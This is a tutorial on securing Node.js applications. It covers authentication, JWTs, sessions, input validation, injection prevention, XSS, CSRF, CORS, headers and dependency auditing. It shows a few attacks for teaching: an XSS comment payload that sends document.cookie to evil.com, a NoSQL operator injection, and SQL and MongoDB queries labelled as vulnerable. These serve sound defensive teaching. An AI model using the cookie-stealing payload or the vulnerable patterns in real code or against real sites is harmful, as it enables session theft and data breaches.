Security in Node.js 🔒

1. Introduction 👋

Building a secure Node.js application requires more than just writing functional code — it demands deliberate attention to authentication, data handling, dependencies, and infrastructure. This tutorial covers the essential security concepts every Node.js developer must understand, from fundamentals to production monitoring.

Warning

Security is not a one-time task. It's an ongoing process that must be revisited as your application and its dependencies evolve.

2. Node.js Security Fundamentals 🧱

Node.js security rests on a few core principles that apply across every layer of an application.

  • Defense in depth — layer multiple protections so a single failure doesn't compromise the system.
  • Least privilege — processes, users, and services should only have the access they strictly need.
  • Never trust user input — validate and sanitize everything coming from outside your system.
  • Keep dependencies updated — most real-world breaches exploit known, already-patched vulnerabilities.

Information

Node.js itself is generally secure; most vulnerabilities come from application code, misconfiguration, or outdated dependencies.

3. Common Security Threats âš ī¸

ThreatImpact
SQL / NoSQL InjectionUnauthorized data access or modification
Cross-Site Scripting (XSS)Malicious scripts executed in users' browsers
Cross-Site Request Forgery (CSRF)Unauthorized actions performed as an authenticated user
Broken AuthenticationAccount takeover, session hijacking
Insecure DependenciesRemote code execution via vulnerable packages
Denial of Service (DoS)Service unavailability

Reference

The OWASP Top 10 is the industry-standard reference for the most critical web application security risks.

4. Environment Variable Security 🔐

Environment variables often hold sensitive data like database credentials and API keys. They MUST be handled carefully.

.env (never commit this file)

DATABASE_URL=postgres://user:pass@localhost:5432/db
JWT_SECRET=super-long-random-secret
API_KEY=sk_live_xxx

.gitignore

.env
.env.local
.env.*.local

Danger

Never commit .env files to version control, and never log full environment objects — doing so can leak secrets into logs or Git history.

5. Secrets Management đŸ—ī¸

For production systems, plain .env files are often insufficient. Dedicated secrets managers provide encryption, rotation, and access auditing.

  • Cloud-native options: AWS Secrets Manager, Google Secret Manager, Azure Key Vault.
  • Self-hosted options: HashiCorp Vault, Doppler.
  • Rotation: secrets should be rotated periodically and immediately after any suspected leak.

Best Practice

Load secrets at runtime from a secure store rather than baking them into container images or source code.

6. Authentication đŸĒĒ

Authentication verifies who a user is. Common strategies in Node.js include credential-based login, OAuth, and passwordless flows.

src/auth/login.ts

import bcrypt from "bcrypt";

async function login(email: string, password: string) {
  const user = await findUserByEmail(email);
  if (!user) throw new Error("Invalid credentials");

  const isValid = await bcrypt.compare(password, user.passwordHash);
  if (!isValid) throw new Error("Invalid credentials");

  return generateSessionToken(user.id);
}

Tip

Always return the same generic error message for invalid email or password to avoid leaking which one was wrong.

7. Authorization 🛂

Authorization determines what an authenticated user is allowed to do. It should be enforced on the server for every protected action.

src/middleware/authorize.ts

function authorize(requiredRole: string) {
  return (req: AuthRequest, res: Response, next: NextFunction) => {
    if (req.user?.role !== requiredRole) {
      return res.status(403).json({ error: "Forbidden" });
    }
    next();
  };
}

router.delete("/users/:id", authorize("admin"), deleteUser);

Caution

Never rely on client-side role checks alone — the UI can be bypassed, but the server-side check cannot.

8. Password Hashing 🔨

Passwords must never be stored in plain text. Use a slow, adaptive hashing algorithm designed to resist brute-force attacks.

src/auth/hash.ts

import bcrypt from "bcrypt";

async function hashPassword(plain: string): Promise<string> {
  const saltRounds = 12;
  return bcrypt.hash(plain, saltRounds);
}
AlgorithmNotes
bcryptWell-established, widely supported, good default choice.
argon2Winner of the Password Hashing Competition; strongest option available today.
scryptMemory-hard, built into Node's crypto module.

Error

Never use fast general-purpose hashes like MD5 or SHA-256 alone for passwords — they're trivially brute-forced with modern hardware.

9. JWT Security đŸŽĢ

JSON Web Tokens are commonly used for stateless authentication, but they come with sharp edges if misconfigured.

src/auth/jwt.ts

import jwt from "jsonwebtoken";

function generateToken(userId: string): string {
  return jwt.sign({ sub: userId }, process.env.JWT_SECRET as string, {
    algorithm: "HS256",
    expiresIn: "15m",
  });
}

function verifyToken(token: string) {
  return jwt.verify(token, process.env.JWT_SECRET as string, {
    algorithms: ["HS256"],
  });
}
  • Always set a short expiresIn and use refresh tokens for long-lived sessions.
  • Explicitly whitelist allowed algorithms during verification.
  • Store JWTs in HttpOnly, Secure cookies — not in localStorage.

Danger

Never accept the alg: "none" header or trust the token's claimed algorithm without validating it against your whitelist.

10. Session Security đŸĒ

For traditional session-based authentication, cookies must be configured with strict security flags.

src/session.ts

app.use(session({
  secret: process.env.SESSION_SECRET as string,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: "strict",
    maxAge: 1000 * 60 * 30,
  },
  resave: false,
  saveUninitialized: false,
}));

Note

Regenerate the session ID immediately after login to prevent session fixation attacks.

11. Input Validation ✅

All incoming data — request bodies, query params, headers — must be validated against a strict schema before use.

src/validation/user.ts

import { z } from "zod";

const createUserSchema = z.object({
  name: z.string().min(1).max(100),
  email: z.string().email(),
  age: z.number().int().positive().optional(),
});

function validateCreateUser(data: unknown) {
  return createUserSchema.parse(data);
}

Best Practice

Validate on an allowlist basis — define exactly what's acceptable rather than trying to block known-bad patterns.

12. Output Sanitization đŸ§ŧ

Data must also be sanitized on the way out, especially when rendering user-generated content in HTML.

src/sanitize.ts

import DOMPurify from "isomorphic-dompurify";

function sanitizeHtml(dirty: string): string {
  return DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ["b", "i", "em", "strong"] });
}

Tip

Prefer escaping output by default and only allow specific, whitelisted HTML tags when rich text is genuinely required.

13. SQL Injection Prevention 💉

SQL injection occurs when untrusted input is concatenated directly into a query string. The fix is parameterized queries.

src/db/users.ts

// ❌ Vulnerable
const query = `SELECT * FROM users WHERE email = '${email}'`;

// ✅ Safe — parameterized query
const result = await pool.query(
  "SELECT * FROM users WHERE email = $1",
  [email]
);

Important

ORMs like Prisma or Drizzle parameterize queries automatically, which is one more reason to prefer them over raw SQL string building.

14. NoSQL Injection Prevention 🍃

NoSQL databases like MongoDB are vulnerable to injection when user input is passed directly as a query operator.

src/db/mongo.ts

// ❌ Vulnerable — attacker sends { "$ne": null } as password
const user = await User.findOne({ email, password: req.body.password });

// ✅ Safe — cast and validate types explicitly first
const password = String(req.body.password);
const user = await User.findOne({ email, password });

Warning

Always cast expected primitive fields with String() or a schema validator so an object like { $gt: '' } can't be injected as a query operator.

15. Cross-Site Scripting (XSS) đŸ•¸ī¸

XSS lets attackers inject malicious scripts into pages viewed by other users, often by exploiting unescaped output.

  1. Escape all user-generated content before rendering it in HTML.
  2. Use templating engines that auto-escape by default (most modern frameworks do).
  3. Set a strict Content-Security-Policy header (see Section 18).
  4. Avoid dangerouslySetInnerHTML or equivalent unless content is sanitized first.

Example

An attacker submitting a comment like <script>document.location='https://evil.com/steal?c='+document.cookie</script> could steal session cookies if the comment is rendered unescaped.

16. Cross-Site Request Forgery (CSRF) 🎭

CSRF tricks an authenticated user's browser into submitting an unwanted request to your application.

src/middleware/csrf.ts

import csrf from "csurf";

const csrfProtection = csrf({ cookie: { httpOnly: true, sameSite: "strict" } });

app.post("/transfer", csrfProtection, (req, res) => {
  // req.body._csrf is validated automatically
  processTransfer(req.body);
});

Tip

Setting cookies with SameSite=Strict or SameSite=Lax provides strong baseline CSRF protection even without a dedicated token.

17. CORS 🌍

Cross-Origin Resource Sharing controls which external origins may call your API from a browser. Misconfigured CORS can expose private endpoints.

src/cors.ts

import cors from "cors";

app.use(cors({
  origin: ["https://app.example.com"],
  credentials: true,
  methods: ["GET", "POST", "PUT", "DELETE"],
}));

Danger

Never set origin: "*" combined with credentials: true — browsers block this combination, and attempting it usually signals a deeper misconfiguration.

18. Security Headers đŸ›Ąī¸

HTTP security headers instruct the browser to enable additional protections against common attacks.

src/index.ts

import helmet from "helmet";

app.use(helmet({
  contentSecurityPolicy: {
    directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"] },
  },
  hsts: { maxAge: 31536000, includeSubDomains: true },
}));
HeaderProtects Against
Content-Security-PolicyXSS, data injection
Strict-Transport-SecurityProtocol downgrade attacks
X-Content-Type-OptionsMIME-sniffing
X-Frame-OptionsClickjacking

19. HTTPS & TLS 🔏

All production traffic MUST be encrypted in transit using TLS. Never transmit credentials or tokens over plain HTTP.

src/server.ts

import https from "node:https";
import fs from "node:fs";

const options = {
  key: fs.readFileSync("privkey.pem"),
  cert: fs.readFileSync("fullchain.pem"),
};

https.createServer(options, app).listen(443);

Note

In most production setups, TLS termination happens at a reverse proxy or load balancer (e.g. Nginx, AWS ALB) rather than in the Node process itself.

20. Rate Limiting đŸšĻ

Rate limiting protects against brute-force attacks, credential stuffing, and denial-of-service attempts.

src/middleware/rateLimit.ts

import rateLimit from "express-rate-limit";

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: "Too many login attempts, please try again later.",
});

app.post("/login", loginLimiter, loginHandler);

Tip

Apply stricter limits on sensitive endpoints like login and password reset than on general API routes.

21. File Upload Security 📤

File uploads are a common attack vector if file type, size, and content aren't strictly controlled.

  • Validate file type by inspecting content (magic bytes), not just the file extension.
  • Enforce a strict maximum file size.
  • Store uploads outside the web root, or in isolated object storage (e.g. S3).
  • Rename uploaded files to random, generated names to prevent path traversal.
  • Scan uploads for malware where feasible.

Caution

Never execute or require() uploaded files directly, and never trust a client-supplied Content-Type header.

22. Dependency Security đŸ“Ļ

Third-party packages are a leading source of real-world vulnerabilities in Node.js applications.

Terminal

npm audit
npm audit fix
npm outdated
  1. Run npm audit regularly and in CI pipelines.
  2. Use tools like Snyk or Dependabot for automated vulnerability scanning.
  3. Pin dependency versions using a lockfile (package-lock.json).
  4. Avoid installing packages with very few downloads or no recent maintenance.

23. Secure Logging 📝

Logs are essential for debugging and monitoring, but they can also leak sensitive data if not handled carefully.

src/logger.ts

import pino from "pino";

const logger = pino({
  redact: ["req.headers.authorization", "*.password", "*.token"],
});

logger.info({ userId: user.id }, "User logged in");

Important

Never log passwords, full tokens, credit card numbers, or other sensitive fields — use redaction to strip them automatically.

24. Secure Configuration âš™ī¸

Sensible defaults reduce your attack surface even before any code runs.

  • Disable the X-Powered-By: Express header to avoid revealing framework details.
  • Run the Node process as a non-root user in containers.
  • Set resource limits (memory, CPU) to reduce the blast radius of a compromised process.
  • Disable unused HTTP methods and routes.

src/index.ts

app.disable("x-powered-by");

25. Security Monitoring 📊

Detecting an attack in progress is as important as preventing it. Monitoring closes the gap between compromise and response.

26. Best Practices ✅

  • Validate and sanitize all input, regardless of its source.
  • Use parameterized queries and trusted ORMs to prevent injection attacks.
  • Hash passwords with bcrypt or argon2 — never store them in plain text.
  • Apply the principle of least privilege to users, tokens, and service accounts.
  • Keep dependencies patched and monitor for known vulnerabilities continuously.
  • Enforce HTTPS everywhere and set strict security headers.

27. Common Mistakes âš ī¸

MistakeConsequence
Storing secrets in source codeCredentials leaked via Git history
Trusting client-side validation onlyAttackers bypass checks entirely via direct API calls
Using outdated dependenciesExposure to known, publicly documented exploits
Verbose error messages in productionLeaks stack traces and internal architecture details
Overly permissive CORS settingsUnauthorized cross-origin access to the API

28. Frequently Asked Questions ❓

Question

Is HTTPS enough to make my application secure?

Answer

No. HTTPS only protects data in transit — it doesn't prevent injection attacks, weak authentication, or vulnerable dependencies.

Question

Should I write my own encryption or hashing algorithms?

Answer

Never. Always use well-vetted, battle-tested libraries like bcrypt, argon2, or Node's built-in crypto module.

Question

How often should dependencies be audited?

Answer

Continuously — ideally as an automated step in your CI/CD pipeline, not just occasionally by hand.

Question

Is localStorage safe for storing auth tokens?

Answer

No — it's accessible to any script running on the page, making it vulnerable to XSS-based token theft. Prefer HttpOnly cookies instead.

29. Summary 📋

Security in Node.js spans every layer of an application: authentication, authorization, input handling, network configuration, and ongoing monitoring. No single control is sufficient on its own — real protection comes from combining many layers of defense.

  1. Hash passwords properly and secure sessions/tokens with strict cookie flags.
  2. Validate and sanitize all input; use parameterized queries everywhere.
  3. Set strong security headers, enforce HTTPS, and configure CORS carefully.
  4. Keep dependencies updated and audit them continuously.
  5. Monitor actively and have an incident response plan ready.

Remember

Security is a continuous practice, not a checklist to complete once. Stay vigilant, keep learning, and treat every new dependency and feature as a potential attack surface. 🔐